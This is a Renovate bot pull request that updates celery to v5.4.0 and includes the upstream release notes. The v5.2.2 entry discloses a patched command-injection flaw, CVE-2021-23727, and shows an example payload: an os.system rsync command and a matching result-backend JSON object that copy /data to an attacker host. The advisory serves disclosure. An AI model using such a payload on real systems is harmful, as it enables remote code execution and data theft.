build(deps): update dependency celery to v5.4.0

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
celery (source, changelog)	==5.1.2 -> ==5.4.0

---

Release Notes

celery/celery (celery)

v5.4.0

Compare Source

=====

:release-date: 2024-04-17
:release-by: Tomer Nosrati

Celery v5.4.0 and v5.3.x have consistently focused on enhancing the overall QA, both internally and externally.
This effort led to the new pytest-celery v1.0.0 release, developed concurrently with v5.3.0 & v5.4.0.

This release introduces two significant QA enhancements:

• Smoke Tests: A new layer of automatic tests has been added to Celery's standard CI. These tests are designed to handle production scenarios and complex conditions efficiently. While new contributions will not be halted due to the lack of smoke tests, we will request smoke tests for advanced changes where appropriate.
• Standalone Bug Report Script <https://docs.celeryq.dev/projects/pytest-celery/en/latest/userguide/celery-bug-report.html>_: The new pytest-celery plugin now allows for encapsulating a complete Celery dockerized setup within a single pytest script. Incorporating these into new bug reports will enable us to reproduce reported bugs deterministically, potentially speeding up the resolution process.

Contrary to the positive developments above, there have been numerous reports about issues with the Redis broker malfunctioning
upon restarts and disconnections. Our initial attempts to resolve this were not successful (#​8796).
With our enhanced QA capabilities, we are now prepared to address the core issue with Redis (as a broker) again.

The rest of the changes for this release are grouped below, with the changes from the latest release candidate listed at the end.

Changes

• Add a Task class specialised for Django (#​8491)
• Add Google Cloud Storage (GCS) backend (#​8868)
• Added documentation to the smoke tests infra (#​8970)
• Added a checklist item for using pytest-celery in a bug report (#​8971)
• Bugfix: Missing id on chain (#​8798)
• Bugfix: Worker not consuming tasks after Redis broker restart (#​8796)
• Catch UnicodeDecodeError when opening corrupt beat-schedule.db (#​8806)
• chore(ci): Enhance CI with workflow_dispatch for targeted debugging and testing (#​8826)
• Doc: Enhance "Testing with Celery" section (#​8955)
• Docfix: pip install celery[sqs] -> pip install "celery[sqs]" (#​8829)
• Enable efficient chord when using dynamicdb as backend store (#​8783)
• feat(daemon): allows daemonization options to be fetched from app settings (#​8553)
• Fix DeprecationWarning: datetime.datetime.utcnow() (#​8726)
• Fix recursive result parents on group in middle of chain (#​8903)
• Fix typos and grammar (#​8915)
• Fixed version documentation tag from #​8553 in configuration.rst (#​8802)
• Hotfix: Smoke tests didn't allow customizing the worker's command arguments, now it does (#​8937)
• Make custom remote control commands available in CLI (#​8489)
• Print safe_say() to stdout for non-error flows (#​8919)
• Support moto 5.0 (#​8838)
• Update contributing guide to use ssh upstream url (#​8881)
• Update optimizing.rst (#​8945)
• Updated concurrency docs page. (#​8753)

Dependencies Updates

• Bump actions/setup-python from 4 to 5 (#​8701)
• Bump codecov/codecov-action from 3 to 4 (#​8831)
• Bump isort from 5.12.0 to 5.13.2 (#​8772)
• Bump msgpack from 1.0.7 to 1.0.8 (#​8885)
• Bump mypy from 1.8.0 to 1.9.0 (#​8898)
• Bump pre-commit to 3.6.1 (#​8839)
• Bump pre-commit/action from 3.0.0 to 3.0.1 (#​8835)
• Bump pytest from 8.0.2 to 8.1.1 (#​8901)
• Bump pytest-celery to v1.0.0 (#​8962)
• Bump pytest-cov to 5.0.0 (#​8924)
• Bump pytest-order from 1.2.0 to 1.2.1 (#​8941)
• Bump pytest-subtests from 0.11.0 to 0.12.1 (#​8896)
• Bump pytest-timeout from 2.2.0 to 2.3.1 (#​8894)
• Bump python-memcached from 1.59 to 1.61 (#​8776)
• Bump sphinx-click from 4.4.0 to 5.1.0 (#​8774)
• Update cryptography to 42.0.5 (#​8869)
• Update elastic-transport requirement from <=8.12.0 to <=8.13.0 (#​8933)
• Update elasticsearch requirement from <=8.12.1 to <=8.13.0 (#​8934)
• Upgraded Sphinx from v5.3.0 to v7.x.x (#​8803)

Changes since 5.4.0rc2

• Update elastic-transport requirement from <=8.12.0 to <=8.13.0 (#​8933)
• Update elasticsearch requirement from <=8.12.1 to <=8.13.0 (#​8934)
• Hotfix: Smoke tests didn't allow customizing the worker's command arguments, now it does (#​8937)
• Bump pytest-celery to 1.0.0rc3 (#​8946)
• Update optimizing.rst (#​8945)
• Doc: Enhance "Testing with Celery" section (#​8955)
• Bump pytest-celery to v1.0.0 (#​8962)
• Bump pytest-order from 1.2.0 to 1.2.1 (#​8941)
• Added documentation to the smoke tests infra (#​8970)
• Added a checklist item for using pytest-celery in a bug report (#​8971)

.. _version-5.4.0rc2:

v5.3.6

Compare Source

=====

:release-date: 2023-11-22 9:15 P.M GMT+6
:release-by: Asif Saif Uddin

This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions.
The code changes are mostly fix for regressions. More details can be found below.

v5.3.5

Compare Source

=====

:release-date: 2023-11-10 7:15 P.M GMT+6
:release-by: Asif Saif Uddin

v5.3.4

Compare Source

=====

:release-date: 2023-09-03 10:10 P.M GMT+2
:release-by: Tomer Nosrati

.. warning::
This version has reverted the breaking changes introduced in 5.3.2 and 5.3.3:

• Revert "store children with database backend" (#​8475)

• Revert "Fix eager tasks does not populate name field" (#​8476)

• Bugfix: Removed unecessary stamping code from _chord.run() (#​8339)

• User guide fix (hotfix for #​1755) (#​8342)

• store children with database backend (#​8338)

• Stamping bugfix with group/chord header errback linking (#​8347)

• Use argsrepr and kwargsrepr in LOG_RECEIVED (#​8301)

• Fixing minor typo in code example in calling.rst (#​8366)

• add documents for timeout settings (#​8373)

• fix: copyright year (#​8380)

• setup.py: enable include_package_data (#​8379)

• Fix eager tasks does not populate name field (#​8383)

• Update test.txt dependencies (#​8389)

• Update auth.txt deps (#​8392)

• Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (#​8391)

• Support preload options for shell and purge commands (#​8374)

• Implement safer ArangoDB queries (#​8351)

• integration test: cleanup worker after test case (#​8361)

• Added "Tomer Nosrati" to CONTRIBUTORS.txt (#​8400)

• Update README.rst (#​8404)

• Update README.rst (#​8408)

• fix(canvas): add group index when unrolling tasks (#​8427)

• fix(beat): debug statement should only log AsyncResult.id if it exists (#​8428)

• Lint fixes & pre-commit autoupdate (#​8414)

• Update auth.txt (#​8435)

• Update mypy on test.txt (#​8438)

• added missing kwargs arguments in some cli cmd (#​8049)

• Fix #​8431: Set format_date to False when calling _get_result_meta on mongo backend (#​8432)

• Docs: rewrite out-of-date code (#​8441)

• Limit redis client to 4.x since 5.x fails the test suite (#​8442)

• Limit tox to < 4.9 (#​8443)

• Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (#​8446)

• doc update from #​7651 (#​8451)

• Remove tox version limit (#​8464)

• Fixed AttributeError: 'str' object has no attribute (#​8463)

• Upgraded Kombu from 5.3.1 -> 5.3.2 (#​8468)

• Document need for CELERY_ prefix on CLI env vars (#​8469)

• Use string value for CELERY_SKIP_CHECKS envvar (#​8462)

• Revert "store children with database backend" (#​8475)

• Revert "Fix eager tasks does not populate name field" (#​8476)

• Update Changelog (#​8474)

• Remove as it seems to be buggy. (#​8340)

• Revert "Add Semgrep to CI" (#​8477)

• Revert "Revert "Add Semgrep to CI"" (#​8478)

.. _version-5.3.3:

v5.3.1

Compare Source

=====

:release-date: 2023-06-18 8:15 P.M GMT+6
:release-by: Asif Saif Uddin

• Upgrade to latest pycurl release (#​7069).
• Limit librabbitmq>=2.0.0; python_version < '3.11' (#​8302).
• Added initial support for python 3.11 (#​8304).
• ChainMap observers fix (#​8305).
• Revert optimization CLI flag behaviour back to original.
• Restrict redis 4.5.5 as it has severe bugs (#​8317).
• Tested pypy 3.10 version in CI (#​8320).
• Bump new version of kombu to 5.3.1 (#​8323).
• Fixed a small float value of retry_backoff (#​8295).
• Limit pyro4 up to python 3.10 only as it is (#​8324).

.. _version-5.3.0:

v5.3.0

Compare Source

=====

:release-date: 2023-06-06 12:00 P.M GMT+6
:release-by: Asif Saif Uddin

• Test kombu 5.3.0 & minor doc update (#​8294).
• Update librabbitmq.txt > 2.0.0 (#​8292).
• Upgrade syntax to py3.8 (#​8281).

.. _version-5.3.0rc2:

v5.2.7

Compare Source

=====

:release-date: 2022-5-26 12:15 P.M UTC+2:00
:release-by: Omer Katz

• Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (#​7534).

.. _version-5.2.6:

v5.2.6

Compare Source

=====

:release-date: 2022-4-04 21:15 P.M UTC+2:00
:release-by: Omer Katz

• load_extension_class_names - correct module_name (#​7433).
  This fixes a regression caused by #​7218.

.. _version-5.2.5:

v5.2.5

Compare Source

=====

:release-date: 2022-4-03 20:42 P.M UTC+2:00
:release-by: Omer Katz

This release was yanked due to a regression caused by the PR below

• Use importlib instead of deprecated pkg_resources (#​7218).

.. _version-5.2.4:

v5.2.4

Compare Source

=====

:release-date: 2022-4-03 20:30 P.M UTC+2:00
:release-by: Omer Katz

• Expose more debugging information when receiving unknown tasks (#​7404).

.. _version-5.2.3:

v5.2.3

Compare Source

=====

:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

• Allow redis >= 4.0.2.
• Upgrade minimum required pymongo version to 3.11.1.
• tested pypy3.8 beta (#​6998).
• Split Signature.or into subclasses' or (#​7135).
• Prevent duplication in event loop on Consumer restart.
• Restrict setuptools>=59.1.1,<59.7.0.
• Kombu bumped to v5.2.3
• py-amqp bumped to v5.0.9
• Some docs & CI improvements.

.. _version-5.2.2:

v5.2.2

Compare Source

=====

:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend.
  In some cases, the exception class is only importable from the
  consumer's code base. In this case, we reconstruct the exception class
  so that we can re-raise the error on the process which queried the
  task's result. This was introduced in #​4836.
  If the recreated exception type isn't an exception, this is a security issue.
  Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
  os.system("rsync /data attacker@192.168.56.100:~/data")
  by setting the task's result to a failure in the result backend with the os,
  the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

  .. code-block:: python

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data attacker@192.168.56.100:~/data"
    }
  

  According to my analysis, this vulnerability can only be exploited if
  the producer delayed a task which runs long enough for the
  attacker to change the result mid-flight, and the producer has
  polled for the task's result.
  The attacker would also have to gain access to the result backend.
  The severity of this security vulnerability is low, but we still
  recommend upgrading.

.. _version-5.2.1:

v5.2.1

Compare Source

=====

:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#​7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.
• Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
• Remove dependency to case (#​7077).
• fix: task expiration is timezone aware if needed (#​7065).
• Initial testing of pypy-3.8 beta to CI.
• Docs, CI & tests cleanups.

.. _version-5.2.0:

v5.2.0

Compare Source

=====

:release-date: 2021-11-08 7.15 A.M UTC+6:00
:release-by: Asif Saif Uddin

• Prevent from subscribing to empty channels (#​7040)
• fix register_task method.
• Fire task failure signal on final reject (#​6980)
• Limit pymongo version: <3.12.1 (#​7041)
• Bump min kombu version to 5.2.1

.. _version-5.2.0rc2:

---

Configuration

📅 Schedule: Branch creation - "after 10pm every weekday,every weekend" in timezone Africa/Lusaka, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.